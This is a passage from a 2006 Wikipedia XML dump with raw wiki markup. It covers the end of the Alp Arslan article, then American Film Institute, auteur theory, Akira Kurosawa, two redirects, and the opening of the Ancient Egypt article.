The dominion of Alp Arslan after Manzikert extended over much of western [[Asia]]. He soon prepared to march to the conquest of [[Turkestan]], the original seat of his ancestors. With a powerful army he advanced to the banks of the Oxus. Before he could pass the river with safety, however, it was necessary to subdue certain fortresses, one of which was for several days vigorously defended by the governor, [[Yussuf el-Harezmi]], a [[Khwarezmid Empire|Khwarezmian]].  He was, however, obliged to surrender and was carried a prisoner before the sultan, who condemned him to a cruel death.  Yussuf, in desperation, drew his dagger and rushed upon the sultan.  Alp Arslan motioned to his guards not to interfere and drew his bow, but his foot slipped, the arrow glanced aside and he received the assassin's dagger in his breast. Alp Arslan died four days later from this wound on [[November 25]], [[1072]] in his 42nd year, and was taken to [[Merv]] to be buried next to his father [[Çağrı Bey]]. Upon his tomb lies the following inscription: 

:“''O those who saw the sky-high grandeur of Alp Arslan, behold! He is under the black soil now''...”

As he lay dying, Alp Arslan whispered to his son that his vanity had killed him.  &quot;Alas,&quot; he is recorded to have said, &quot;surrounded by great warriors devoted to my cause, guarded night and day by them, I should have allowed them to do their job.  I had been warned against trying to protect myself, and against letting my courage get in the way of my good sense.  I forgot those warnings, and here I lay, dying in agony.  Remember well the lessons learned, and do not allow your vanity to overreach your good sense...&quot;

==Reference==
{{wikiquote}}
*[http://www.bookrags.com/biography-alp-arslan/index.html Biography]

{{s-start}}
{{s-bef|before=[[Toghrül]]}}
{{s-ttl|title=[[Seljuk Turks#Rulers of Seljuk Dynasty 1037-1157|Sultan of Great Seljuk]]|years=[[1063]]–[[1072]]}}
{{s-aft|after=[[Malik Shah I]]}}
{{end}}

[[Category:1029 births]]
[[Category:1072 deaths]]
[[Category:Monarchs of Persia]]
[[Category:Seljuk Turks]]

[[bg:Алп Арслан]]
[[de:Alp Arslan]]
[[fr:Alp Arslan]]
[[he:אלף ארסלאן]]
[[nl:Alp Arslan]]
[[pl:Alp Arslan]]
[[fi:Alp Arslan]]
[[sv:Alp Arslan]]
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    </revision>
  </page>
  <page>
    <title>American Film Institute</title>
    <id>869</id>
    <revision>
      <id>38775301</id>
      <timestamp>2006-02-08T15:58:11Z</timestamp>
      <contributor>
        <username>Cookie90</username>
        <id>733900</id>
      </contributor>
      <minor />
      <text xml:space="preserve">The '''American Film Institute''' ('''AFI''') is an independent [[non-profit]] organization created by the [[National Endowment for the Arts]], which was established in [[1967]] when President [[Lyndon B. Johnson]] signed the National Foundation on the Arts and the Humanities Act.  

George Stevens, Jr., was the first CEO and Director.  In 1980 [[Jean Picker Firstenberg]] became Director and CEO, a position she still holds.

The American Film Institute focuses on training through hands-on experience with established figures in the [[AFI Conservatory]], as well as on preserving old film, which is subject to degradation of its [[film stock]]. In spite of its name, AFI does not focus exclusively on [[film]], but also on [[television]] and [[video]].

In [[1973]], the AFI established a [[AFI Life Achievement Award|Life Achievement Award]]. 

In [[1998]], the 100th anniversary of American film, AFI began its [[100 Years Series]], celebrating and promoting interest in film history. 

They recently opened the [[AFI Silver]] theatre in [[Silver Spring, Maryland]] near [[Washington, D.C.]]

==See also==
* [[AFI 100 Years series]]
* [[2005 American Film Institute Awards|AFI Awards 2005]]
* [[2004 American Film Institute Awards|AFI Awards 2004]]
* [[2003 American Film Institute Awards|AFI Awards 2003]]
* [[2002 American Film Institute Awards|AFI Awards 2002]]
* [[2001 American Film Institute Awards|AFI Awards 2001]]

==External links==
*[http://www.afi.com/ AFI Website]
*[http://www.afi.com/about/history.aspx History of AFI]
*[http://www.afifest.com AFI Fest (AFI Los Angeles Film Festival) Official Website]
*[http://www.ukhotmovies.com/film-festivals/los-angeles-film-festival/information.html AFI Los Angeles Film Festival - History and Information]

[[Category:Cinema of the United States]]
[[Category:Film schools]]

[[de:American Film Institute]]
[[fr:American Film Institute]]
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[[fi:American Film Institute]]
[[simple:American Film Institute]]</text>
    </revision>
  </page>
  <page>
    <title>Auteur theory</title>
    <id>870</id>
    <revision>
      <id>40359338</id>
      <timestamp>2006-02-20T01:17:57Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <text xml:space="preserve">The '''auteur theory''' is the theory that a film (or a body of work) by a director (or, rarely, a producer) reflects the personal vision and preoccupations of that director, as if he or she were the work's primary &quot;author&quot; ([[auteur]]).  The auteur theory has had a major impact on [[film criticism]] worldwide ever since it was first advocated by [[François Truffaut]] in 1954. &quot;Auteurism&quot; is the method of analyzing films based on this theory (or, alternately, the characteristics of a director's work that makes him an auteur). Both the Auteur Theory and the auteurism method of film analysis are frequently associated with the [[French New Wave]] and the film critics who wrote for the [[Cahiers du cinéma]].

''For a list of directors who are considered '''auteurs''', go to the article [[Auteur]]''.
__NOTOC__
==Truffaut's theory==

In his [[1954]] essay ''Une certaine tendance du cinéma français'' (&quot;a certain tendency in the French cinema&quot;) [[François Truffaut]] coined the phrase &quot;la politique des auteurs&quot;, and asserted that the worst of [[Jean Renoir]]'s movies would always be more interesting than the best of [[Jean Delannoy]]'s. &quot;Politique&quot; might very well be translated as &quot;policy,&quot; &quot;polemic&quot; or &quot;program&quot;; it involves a conscious decision to look at movies and to value them in a certain way. Truffaut provocatively said, &quot;There are no good and bad movies, only good and bad directors.&quot; 

Much of Truffaut's writing of this period (as too that of his colleagues at the film criticism magazine ''[[Cahiers du cinéma]]'') was designed to lambast post-war French cinema, and especially the big production films of the ''cinéma de qualité'' (&quot;quality films&quot;) that Truffaut's circle referred to with disdain as ''cinéma de papa'' (or &quot;Dad's cinema&quot;).  Their sudden discovery of a host of great American movies which flooded France at the end of the war (the [[Vichy France|Nazi occupation]] had prevented the French from seeing such classics as [[The Maltese Falcon]] and [[Citizen Kane]]) incited Truffaut to take up arms against what he considered to be an old-fashioned and sterile cinema.  (One of the unfortunate ironies of the auteur theory is that, at the very moment Truffaut was writing, the Hollywood [[studio system]] of the 1950's had destroyed much of what he had appreciated.) 

Truffaut's thinking was indebted to the work of [[André Bazin]], co-founder of the ''Cahiers du cinéma'' (where Truffaut worked), who promoted the idea that films should reflect a director's personal vision and who championed such filmmakers as [[Howard Hawks]], [[Alfred Hitchcock]] and [[Jean Renoir]].  Although Bazin provided a forum for auteurism to flourish, he himself remained wary of its excesses.

Another key element of Truffaut's theory comes from [[Alexandre Astruc]]'s notion of the ''caméra-stylo'' or &quot;camera-pen&quot; and the idea that directors should wield their cameras like writers use their pens and that they need not be hindered by traditional storytelling.

Truffaut and the members of the ''Cahiers'' recognized that moviemaking was an industrial process. However, they proposed an ideal to strive for: the director should use the commercial apparatus the way a writer uses a pen and, through the [[mise en scène]], imprint his or her vision on the work (conversely, the role of the screenwriter was minimized in their eyes). While recognizing that not all directors reached this ideal, they valued the work of those who neared it.

Truffaut's theory maintains that all good directors (and many bad ones) have such a distinctive style or consistent theme that their influence is unmistakable in the body of their work.  Truffaut himself was appreciative of both directors with a marked visual style (such as [[Alfred Hitchcock]]), and those whose visual style was less pronounced but who had nevertheless a consistent theme throughout their movies (such as [[Jean Renoir]]'s humanism).

==Impact of the &quot;auteur theory&quot;==

The ''auteur theory'' was used by the directors of the ''[[nouvelle vague]]'' (New Wave) movement of French cinema in the 1960s (many of whom were also critics at the ''Cahiers du cinéma'') as justification for their intensely personal and idiosyncratic films.

The approach soon found a home in English-language film criticism. In the U.K., ''Movie'' adopted auteurism and in the U.S., [[Andrew Sarris]] introduced it in the essay, &quot;Notes on the Auteur Theory&quot; in 1962.  This essay is where the half-French, half-English term, &quot;auteur theory,&quot; originated.  To be classified as an &quot;auteur&quot;, according to Sarris, a director must accomplish technical competence in his or her technique, personal style in terms of how the movie looks and feels, and interior meaning (although many of Sarris's auterist criteria were left vague). Later in the decade, Sarris published ''The American Cinema: Directors and Directions, 1929-1968'', which quickly became the unofficial bible of auteurism.

The auteurist critics&amp;mdash;[[François Truffaut|Truffaut]], [[Jean-Luc Godard|Godard]], [[Claude Chabrol|Chabrol]], [[Éric Rohmer|Rohmer]]&amp;mdash;wrote mostly about directors (as they were directors themselves), although they also produced some shrewd appreciations of actors. Later writers of the same general school have emphasized the contributions of star personalities like [[Mae West]]. However, the stress was on directors, and screenwriters, producers and others have reacted with a good deal of hostility. Writer [[William Goldman]] has said that, on first hearing the auteur theory, his reaction was, &quot;What's the punchline?&quot;

==Criticism of the &quot;auteur theory&quot;==

Starting in the 1960s, there has been a backlash against the auteur theory.  [[Pauline Kael]] and [[Andrew Sarris|Sarris]] feuded in the pages of ''[[The New Yorker]]'' and various film magazines.  One reason for the backlash is the collaborative aspect of shooting a film (one person cannot do everything) and in the theory's privileging of the role of the director (whose name, at times, has become more important than the movie itself).  In [[Pauline Kael|Kael]]'s review of [[Citizen Kane]], a classic film for the auteur model, she points out how the film involved the talents of co-writer [[Herman J. Mankiewicz]] and cinematographer [[Gregg Toland]] and would have been hurt without their distinctive ability.  Also, the very people who championed the auteur theory backed away from it. [[Jean-Luc Godard|Godard]] handed over much creative control to others (most notably [[Jean-Pierre Gorin]]) in his later films while, in a twist of irony, Truffaut's later films embraced the same formalism he rejected early on in his career.  Also, with costly films like [[Michael Cimino]]'s [[Heaven's Gate (film)|Heaven's Gate]], the excesses of auteurism not only created uncreative films, they put studios out of business.

However, even with the reevaulation of auteurism, the auteur theory continues to influence new filmmakers to this day.

==See also==
* [[mise en scène]]

==External links==
* [http://movies.groups.yahoo.com/group/a_film_by/ An auteurist film discussion group]


[[Category:Film theory]]</text>
    </revision>
  </page>
  <page>
    <title>Action film</title>
    <id>871</id>
    <revision>
      <id>15899384</id>
      <timestamp>2002-08-04T00:46:59Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Action movie]]</text>
    </revision>
  </page>
  <page>
    <title>Akira Kurosawa</title>
    <id>872</id>
    <revision>
      <id>41926506</id>
      <timestamp>2006-03-02T17:51:18Z</timestamp>
      <contributor>
        <ip>208.250.29.8</ip>
      </contributor>
      <text xml:space="preserve">{{redirect|Kurosawa}}

{| id=&quot;toc&quot; width=&quot;300&quot; align=&quot;right&quot; border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;  style=&quot;float:right; margin: 0em 0em 0em 0.5em; width:300px;&quot; 
|- 
! align=&quot;center&quot; colspan=&quot;2&quot; style=&quot;background:#efefef;&quot; | &lt;big&gt;Akira Kurosawa&lt;/big&gt;
|- 
| align=&quot;center&quot; colspan=&quot;2&quot;| Japanese Film director 
|- 
| align=&quot;center&quot; colspan=&quot;2&quot; style=&quot;background:#efefef;&quot; | ''[[Wikiquote:{{PAGENAME}}|&quot;There is something that might be called cinematic beauty. It can only be expressed in a film, and it must be present for that film to be a moving work. When it is very well expressed, one experiences a particularly deep emotion while watching that film. I believe that it is this quality that draws people to come and see a film, and that it is the hope of attaining this quality that inspires the director to make the film in the first place.&quot;]]''
|-
! '''Born''' || [[23 March]], [[1910]]&lt;br /&gt;[[Ota, Tokyo]], [[Japan]]
|-
! '''Died''' || [[6 September]], [[1998]]&lt;br /&gt;[[Setagaya, Tokyo]], [[Japan]]
|}

'''Akira Kurosawa''' (黒澤 明 ''Kurosawa Akira'', also 黒沢 明 in [[Wiktionary:Shinjitai|Shinjitai]], [[23 March]], [[1910]] &amp;ndash; [[6 September]], [[1998]]) was a prominent [[Japan|Japanese]] [[film director]], [[film producer]], and [[screenwriter]].

Few filmmakers have had a career so long or so acclaimed as Akira Kurosawa, perhaps Japan's best-known filmmaker. His films greatly influenced an entire generation of filmmakers the world over, ranging from George Lucas to Sergio Leone. 

His first credited film (''[[Sanshiro Sugata (1943 film)|Sugata Sanshiro]]'') was released in 1943; his last (''[[Madadayo]]'') in 1993. His many awards include the [[Legion d'Honneur]] and an [[Academy Awards|Oscar]] for Lifetime Achievement. 

== Early Career ==
Kurosawa was born in [[Ota, Tokyo|Omori]], [[Tokyo]], the youngest of seven children. He trained as a painter and began work in the film industry as an assistant director to Kajiro Yamamoto in 1936. He made his directorial debut in 1943 with ''[[Sanshiro Sugata (1943 film)|Sugata Sanshiro]]''. His first few films were made under the watchful eye of the wartime Japanese government and sometimes contained nationalistic themes. For instance, ''[[The Most Beautiful|The Most Beautiful]]'' is a propaganda film about Japanese women working in an armaments factory. ''[[Sanshiro Sugata Part II|Judo Saga 2]]'' has been held to be explicitly anti-American in the way that it portrays Japanese [[judo]] as superior to western (American) [[boxing]]. 

His first post-war film ''No regrets for our youth'', by contrast, is critical of the old Japanese regime and is about the wife of a left-wing dissident arrested for his political leanings. Kurosawa made several more films which deal with contemporary Japan, most notably ''[[Drunken Angel]]'' and ''[[Stray Dog]]''. However it was a period film ''[[Rashomon (film)|Rashomon]]'' which made him internationally famous and won the Grand Prix at the [[Venice Film Festival]].

== Characteristics ==
Kurosawa is best-known for his period pieces or {{nihongo|''[[jidaigeki]]''|時代劇|}} like ''[[Seven Samurai]]'' and ''[[Ran (1985 film)|Ran]]'', but several of his films dealt with contemporary Japan: for example ''[[Stray Dog]]'', which looks at the criminal underworld just after the end of the war, and ''[[Ikiru]]'', which deals with a Japanese bureaucrat who discovers that he is suffering from cancer but eventually steps out of depression and struggles against bureacratic inertia to leave his small contribution to the world in the form of a small community park before he dies.

Kurosawa had a distinctive cinematic technique, which he had developed by the 1950s, and which gave his films a unique look. He liked using telephoto lenses for the way they flattened the frame and also because he believed that placing cameras farther away from his actors produced better performances. He also liked using multiple cameras, which allowed him to shoot an action from different angles. Another Kurosawa trademark was the use of weather elements to heighten mood: for example the heavy rain in the final battle in ''Seven Samurai'' and the fog in ''Throne of Blood''. Kurosawa also liked using left-to-right frame wipes as a transition device.

He was known as &quot;Tenno&quot;, literally &quot;Emperor&quot;, for his dictatorial directing style. He was a perfectionist who spent enormous amounts of time and effort to achieve the desired visual effects. In ''[[Rashomon]]'', he dyed the rain water black with calligraphy ink in order to achieve the effect of heavy rain, and ended up using up the entire local water supply of the location area in creating the rainstorm. In ''[[Throne of Blood]]'', in the final scene in which Mifune is shot by arrows, Kurosawa used real arrows shot by expert archers from a short range, landing within centimetres of Mifune's body. 

Other stories include demanding a stream be made to run in the opposite direction in order to get a better visual effect, and having the roof of a house removed, later to be replaced, because he felt the roof's presence to be unattractive in a short sequence filmed from a train.

== Influences ==
A notable feature of Kurosawa's films is the breadth of his artistic influences. Some of his plots are adaptations of [[William Shakespeare]]'s works. ''[[The Bad Sleep Well]]'' is based on ''[[Hamlet]]'', ''[[Ran (1985 film)|Ran]]'' is based on ''[[King Lear]]'' and ''Throne of Blood'' is based on ''[[Macbeth]]''. Kurosawa also directed film adaptations of Russian novels, including ''[[The Idiot (novel)|The Idiot]]'' by [[Dostoevsky]] and ''[[The Lower Depths]]'' by [[Maxim Gorky]]. ''Ikiru'' was based on [[Leo Tolstoy]]'s ''[[The Death of Ivan Ilyich]]''. ''[[High and Low]]'' was based on ''[[King's Ransom]]'' by [[United States|American]] [[crime]] writer [[Ed McBain]]. ''[[Stray Dog]]'' was inspired by the detective novels of [[Georges Simenon]]. The American film director [[John Ford]] also had a large influence on his work. 

Despite criticism by some Japanese critics that Kurosawa was &quot;too Western&quot;, he was deeply influenced by Japanese culture as well, including the [[Kabuki]] and [[Noh]] theaters and the jidaigeki (period drama) genre of Japanese cinema.

== His influence ==
Kurosawa's films had a huge influence on world cinema. Most explicitly, ''[[Seven Samurai]]'' was remade as the [[western movie|western]] ''[[The Magnificent Seven]]'', [[science fiction]] movie ''[[Battle Beyond the Stars]]'', and Pixar's ''[[A Bug's Life]]''. It also inspired two [[Hindi films]], [[Ramesh Sippy]]'s ''[[Sholay]]'' and Rajkumar Santhoshi's ''[[China Gate]]'', with similar plots. The story has also inspired [[novel]]s, among them [[Stephen King]]'s fifth ''[[The Dark Tower (series)|Dark Tower]]'' novel, ''[[Wolves of the Calla]]''. 

''[[Yojimbo (film)|Yojimbo]]''  was the basis for the [[Sergio Leone]] western ''[[A Fistful of Dollars]]'', the [[Coen Brothers]] film ''[[Miller's Crossing (film)|Miller's Crossing]]'', and the [[Bruce Willis]] prohibition-era ''[[Last Man Standing (film)|Last Man Standing]]''. 

''[[The Hidden Fortress]]'' had an influence on [[George Lucas]]'s earliest ''[[Star Wars]]'' film, especially in the characters of R2-D2 and C3PO.

''[[Rashomon (film)|Rashomon]]'' not only helped open Japanese cinema to the world but virtually entered the English language as a term for fractured, inconsistent narratives as well as influencing other works, including episodes of television series and many motion pictures.

== Collaboration ==
During his most productive period, from the late 40s to the mid-60s, Kurosawa often worked with the same group of collaborators. [[Fumio Hayasaka]] composed music for seven of his films; notably ''Rashomon'', ''Ikiru'' and ''Seven Samurai''. Many of Kurosawa's scripts, including ''Throne of Blood'', ''Seven Samurai'' and ''Ran'' were co-written with [[Hideo Oguni]]. [[Yoshiro Muraki]] was Kurosawa's [[production designer]] or [[art director]] for most of his films after ''Stray Dog'' in 1949 and [[Asakazu Naki]] was his [[cinematographer]] on 11 films including ''Ikiru'', ''Seven Samurai'' and ''Ran''. Kurosawa also liked recycling the same group of actors, especially [[Takashi Shimura]] and [[Toshiro Mifune]]. His collaboration with the latter is one of the greatest director-actor combinations in cinema history. It began with 1948's ''[[Drunken Angel]]'' and ended with 1964's ''[[Red Beard]]''.

== Later films ==
Red Beard marked a turning point in Kurosawa's career in more ways than one. In addition to being his last film with Mifune, it was his last in black-and-white. It was also his last as a major director within the Japanese studio system making roughly a film a year.  Kurosawa was signed to direct a Hollywood project, ''[[Tora! Tora! Tora!]]''; but [[20th Century Fox]] replaced him with [[Kinji Fukasaku]] before it was completed.  His next few films were a lot harder to finance and were made at intervals of five years. The first, ''[[Dodesukaden]]'', about a group of poor people living around a rubbish dump, was not a success. 

After an attempted suicide, Kurosawa went on to make several more films although arranging domestic financing was highly difficult despite his international reputation. ''[[Dersu Uzala]]'', made in the [[Soviet Union]] and set in Siberia in the early 20th century, was the only Kurosawa film made outside Japan and not in Japanese. It is about the friendship of a Russian explorer and a nomadic hunter. It won the [[Academy Award for Best Foreign Language Film|Oscar]] for Best Foreign Language Film. ''[[Kagemusha]]'', financed with the help of the director's most famous admirers, [[George Lucas]] and [[Francis Ford Coppola]], is the story of a man who is the double of a medieval Japanese lord and takes over his identity. Most important was ''[[Ran (1985 film)|Ran]]'', Kurosawa's version of King Lear set in medieval Japan. It was the great project of Kurosawa's late career, and he spent a decade planning it and trying to obtain funding, which he was finally able to do with the help of the French producer Serge Silberman. The film was a phenomenal international success and is generally considered Kurosawa's last masterpiece.

Kurosawa made three more films during the 1990s which were more personal than his earlier works. ''[[Dreams (1990 film)|Dreams]]'' is a series of vignettes based on his own dreams. ''[[Rhapsody in August]]'' is about memories of the [[Nagasaki]] atom bomb and his final film: ''[[Madadayo]]'' is about a retired teacher and his former students. Kurosawa died in [[Setagaya, Tokyo]], at age 88.

==Trivia==

Kurosawa was a notoriously lavish gourmet, and spent huge quantities of money on film sets providing an uneatably large quantity and quality  of delicacies, especially meat, for the cast and crew.

==Awards==
*1951- Golden Lion at the Venice Film Festival for Rashomon
*1954- Silver Lion at the Venice Film Festival for Seven Samurai
*1976- Academy Award: Best Foreign Language Film for Dersu Uzala
*1980- Golden Palm at the Cannes Film Festival for Kagemusha
*1982- Career Golden Lion at the Venice Film Festival
*1984- Legion d'Honneur
*1990- Honorary Academy Award

==Filmography== 

[[Image:derzuuzala.jpg|thumb|450px|[[Maxim Munzuk]] as Dersu Uzala (left) and [[Yury Solomin]] as [[Vladimir Arsenyev]] (right) in the [[1975]] film ''[[Dersu Uzala]]''.]]

*''[[Sugata Sanshiro (1943 film)|Sanshiro Sugata]]'' (1943)
*''[[The Most Beautiful]]'' (1944)
*''[[Sanshiro Sugata Part II]]'' aka ''Judo Saga 2'' (1945)
*''[[They Who Step on the Tiger's Tail]]'' (1945)
*''[[No Regrets for Our Youth]]'' (1946)
*''[[One Wonderful Sunday]]'' (1946)
*''[[Drunken Angel]]'' (1948)
*''[[The Quiet Duel]]'' (1949)
*''[[Stray Dog (film)|Stray Dog]]'' (1949)
*''[[Scandal (1950 film)|Scandal]]'' (1950)
*''[[Rashomon (film)|Rashomon]]'' (1950)
*''[[Hakuchi (film)|The Idiot]]'' (1951)
*''[[Ikiru]]'' aka ''To Live'' (1952)
*''[[The Seven Samurai]]'' (1954)
*''[[Record of a Living Being]]'' aka ''I Live in Fear'' (1955)
*''[[Throne of Blood|The Throne of Blood]]'' aka ''Spider Web Castle'' (1957)
*''[[The Lower Depths]]'' (1957)
*''[[The Hidden Fortress]]'' (1958)
*''[[The Bad Sleep Well]]'' (1960)
*''[[Yojimbo (film)|Yojimbo]]'' aka ''The Bodyguard'' (1961)
*''[[Tsubaki Sanjūrō|Sanjuro]]'' (1962)
*''[[High and Low]]'' aka ''Heaven and Hell'' (1963)
*''[[Red Beard]]'' (1965)
*''[[Dodesukaden]]'' (1970)
*''[[Dersu Uzala (1975 film)|Dersu Uzala]]'' (1975)
*''[[Kagemusha]]'' aka ''Shadow Warrior'' (1980)
*''[[Ran (1985 film)|Ran]]'' (1985)
*''[[Dreams (1990 film)|Dreams]]'' aka ''Akira Kurosawa's Dreams'' (1990)
*''[[Rhapsody in August]]'' (1991)
*''[[Madadayo]]'' aka ''Not Yet'' (1993)

==Further reading==
* Mitsuhiro Yoshimoto ''Kurosawa: Film Studies and Japanese Cinema'' ISBN: 0822325195 
* Akira Kurosawa. ''Something Like An Autobiography''. Vintage Books USA, 1983. ISBN 0394714393
* Stephen Prince. ''The Warrior's Camera''. Princeton University Press, 1999.  ISBN 0691010463
* Donald Richie, Joan Mellen. ''The Films of Akira Kurosawa''. University of California Press, 1999. ISBN 0520220374
* Stuart Galbraith IV. ''The Emperor and the Wolf: The Lives and Films of Akira Kurosawa and Toshiro Mifune''. Faber &amp; Faber, 2002. ISBN 0571199828

== See also ==
* [[Cinema of Japan]]

==External links==
* {{imdb name|id=0000041|name=Akira Kurosawa}}
*[http://www.sensesofcinema.com/contents/directors/02/kurosawa.html Senses of Cinema: Great Directors Critical Database]
*[http://www.japan-zone.com/modern/kurosawa_akira.shtml Profile at Japan Zone]
*[http://www2.tky.3web.ne.jp/~adk/kurosawa/AKpage.html Akira Kurosawa Database]
*[http://www.boheme-magazine.net/july03/ikiru.html Bohème Magazine] ''Ikiru'': The Art of Living
*[http://www.quad4x.net/yojinbo/ Japanese Film - Kurosawa]
*[http://www.pbs.org/wnet/gperf/shows/kurosawa/kurosawa.html Great Performances: Kurosawa (PBS)]
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[[Category:1910 births|Kurosawa, Akira]]
[[Category:1998 deaths|Kurosawa, Akira]]
[[Category:Japanese film directors|Kurosawa, Akira]]
[[Category:People from Tokyo|Kurosawa, Akira]]

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    </revision>
  </page>
  <page>
    <title>Ancient civilization</title>
    <id>873</id>
    <revision>
      <id>15899386</id>
      <timestamp>2002-08-03T03:13:56Z</timestamp>
      <contributor>
        <ip>195.149.37.94</ip>
      </contributor>
      <comment>#REDIRECT [[Ancient history]]</comment>
      <text xml:space="preserve">#REDIRECT [[Ancient history]]</text>
    </revision>
  </page>
  <page>
    <title>Ancient Egypt</title>
    <id>874</id>
    <revision>
      <id>42054072</id>
      <timestamp>2006-03-03T14:06:56Z</timestamp>
      <contributor>
        <ip>207.203.140.254</ip>
      </contributor>
      <text xml:space="preserve">{{AID}}

'''Ancient Egypt''' was a [[civilization]] located along the Lower [[Nile]], reaching from the [[Nile Delta]] in the north to as far south as [[Jebel Barkal]] at the time of its greatest extension (15th century BC). It lasted for three [[millennia]], from ''circa'' [[3200 BC]] to [[343 BC]], ending when [[Artaxerxes III]] conquered [[Egypt]].  As a civilization based on [[irrigation]] it is the quintessential example of a [[hydraulic empire]].[[Image:Egypt.Giza.Sphinx.01.jpg |thumb|right|450px|[[Khafre's Pyramid]] ([[Fourth dynasty of Egypt|4th dynasty]]) and [[Great Sphinx of Giza]] (c.[[2600 BC]] or perhaps earlier)]]

==Background==
[[Image:Map Ancient Egypt.png|thumb|right|275px|Map of Ancient Egypt]]Egypt is a [[transcontinental nation]] located mostly in [[North Africa]], with the [[Sinai Peninsula]] lying in [[Asia]]. The country has shorelines on the [[Mediterranean Sea]], the [[Red Sea]], the [[Gulf of Suez]] and the [[Gulf of Aqaba]]. It borders [[Libya]] to the west; [[Sudan]] to the south; and the [[Gaza Strip]], [[Palestine (region)|Palestine]] and [[Israel]] to the east. Ancient Egypt was divided into two kingdoms, known as [[Upper and Lower Egypt]]. The [[Nile]] river flows northward from a southerly point to the [[Mediterranean Sea|Mediterranean]]. The Nile river, around which much of the population of the country clusters, has been the lifeline for Egyptian culture since the [[Stone Age]] and [[Naqada]] cultures.

The area around the Nile was called Kemet (&quot;the black land&quot;, in [[Ancient Egyptian]] ''Kmt''), the name for the dark soil deposited by the Nile floodwaters. In contrast, the desert was called Deshret (&quot;the red land&quot;, in [[Ancient Egyptian]] ''Dsrt''), c.f. [[Herodotus]]: &quot;Egypt is a land of black soil.... We know that [[Libya]] is a redder earth&quot; (Histories, 2:12). The vowels within the consonants K-M-T are not known with certainty. [[Coptic language|Coptic]], however, provides some indication.

Nomadic hunter-gatherers began living along the Nile during the [[Pleistocene]]. Traces of these early peoples appear in the form of artifacts and rock carvings along the terraces of the Nile and in the oases. By about 6000 B.C., organized agriculture and large building construction had appeared in the Nile Valley.

==People==
Many theories have been proposed regarding the origins of early Egyptians, a subject still imbued with controversy today.  [[Controversy over race of Ancient Egyptians]] has more information about this subject.

Egyptian society was a merging of [[Berbers|North]] and [[Northeast Africa]]n as well as [[Southwest Asia]]n peoples. Modern [[genetic genealogy|genetics]] reveals {{ref|www.ncbi.nlm.nih.gov.348}} {{ref|www.ncbi.nlm.nih.gov.349}} that the Egyptian population today is characterized by [[Haplogroup#Y chromosome DNA haplogroups|paternal]] lineages common to [[Berbers|North Africans]] primarily, and to some [[Near East]]ern peoples. Studies based on the [[Haplogroup#Mitochondrial DNA haplogroups|maternal]] lineages closely links modern Egyptians with people from modern [[Ethiopia]] {{ref|www.ncbi.nlm.nih.gov.350}}, {{ref|www.ncbi.nlm.nih.gov.351}}. The ancient Egyptians themselves traced their origin to a land they called [[Land of Punt|Punt]], or &quot;Ta Nteru&quot; (&quot;Land of the Gods&quot;), which most Egyptologists locate in the area encompassing the [[Ethiopian Highlands]].

A recent bioanthropological study on the dental morphology of ancient Egyptians confirms dental traits most characteristic of [[Berbers|North African]] and to a lesser extent [[Southwest Asia]]n populations. The study also establishes biological continuity from the [[Predynastic Egypt|predynastic]] to the post-pharaonic periods. Among the samples included is skeletal material from the [[Gallery of Fayum mummy portraits|Hawara tombs of Fayum]], which was found to most closely resemble the [[Badarian]] series of the predynastic {{ref|www.ncbi.nlm.nih.gov.352}}, {{ref|www.world-science.net.353}}. A study based on stature and body proportions suggests that [[Nilotic]] or tropical body characteristics were also present in some later groups {{ref|Zakrzewski}} as the Egyptian empire expanded southward.

[[Jean-François Champollion|Champollion the Younger]], who deciphered the [[Rosetta Stone]], claimed in ''Expressions et Termes Particuliers'' that ''kmt'' referred to a 'negroid' population. Modern day professional Egyptologists, anthropologists, and linguists, however, overwhelmingly agree that the term referred to the dark soil of the Nile Valley rather than the people, which contrasted with ''dSrt'' or the &quot;red land&quot; of the [[Sahara]] desert.

In c. 450 BC, [[Herodotus]] wrote, &quot;the Colchians are Egyptians... on the fact that they are swarthy (''melanchrôs'') and wooly-haired (''oulothrix'')&quot; (Histories Book 2:104). ''Melanchros'' was also used by [[Homer]] to describe the sunburnt complexion of [[Odysseus]] (Od. 16.176). 

Although analyzing the hair of ancient Egyptian [[Mummy|mummies]] from the Late [[Middle Kingdom]] has revealed evidence of a stable diet {{ref|www.ncbi.nlm.nih.gov.354}}, mummies from circa [[3200 BC]] show signs of severe [[anemia]] and [[Hematology|hemolitic disorders]] {{ref|www.ncbi.nlm.nih.gov.355}}. [[Image:Memnon2.jpg|right|thumb|200px|[[Colossus]] of [[Memnon]].]]

==History==
:''Main article: [[History of ancient Egypt]]''
Egyptian culture was remarkably stable and changed little over a period of nearly 3000 years. This includes religion, customs, art expression, architecture and social structure.

The [[history of ancient Egypt]] proper starts with Egypt as a unified state, which occurred sometime around [[3000 BC]]. [[Narmer]], who unified Upper and Lower Egypt, was the first [[pharaoh]]; though [[Archaeology|archaeological]] evidence indicates that a developed Egyptian [[society]] existed for a much longer period (see [[Predynastic Egypt]]).

Along the [[Nile]], in [[10th millennium BC]], a [[cereal|grain]]-[[grinding]] [[culture]] using the earliest type of [[sickle]] [[blade]]s had been replaced by another culture of [[hunting|hunters]], [[fishing|fishers]], and [[hunter-gatherer|gathering]] peoples using [[stone tool]]s. Evidence also indicates human habitation in the southwestern corner of Egypt, near the [[Sudan]] border, before [[8000 BC]]. Climate changes and/or overgrazing around [[8th millennium BC|8000 BC]] began to desiccate the pastoral lands of [[Egypt]], eventually forming the [[Sahara]] (c.[[2500 BC]]), and early tribes naturally migrated to the Nile river where they developed a settled [[agriculture|agricultural]] [[Economic system|economy]] and more centralized [[society]] (see [[Nile#History|Nile: History]]). There is evidence of [[pastoralism]] and cultivation of [[cereal]]s in the East [[Sahara]] in the [[7th millennium BC]]. By [[6000 BC]] ancient Egyptians in the southwestern corner of Egypt were [[herding]] cattle and [[construction|constructing]] large buildings. [[Mortar (masonry)]] was in use by [[4000 BC]]. The [[Predynastic Egypt|Predynastic Period]] continues through this time, variously held to begin with the [[Naqada]] culture. Some authorities however begin the [[Predynastic Egypt|Predynastic Period]] earlier, in the [[Lower Paleolithic]] (see [[Predynastic Egypt]]).

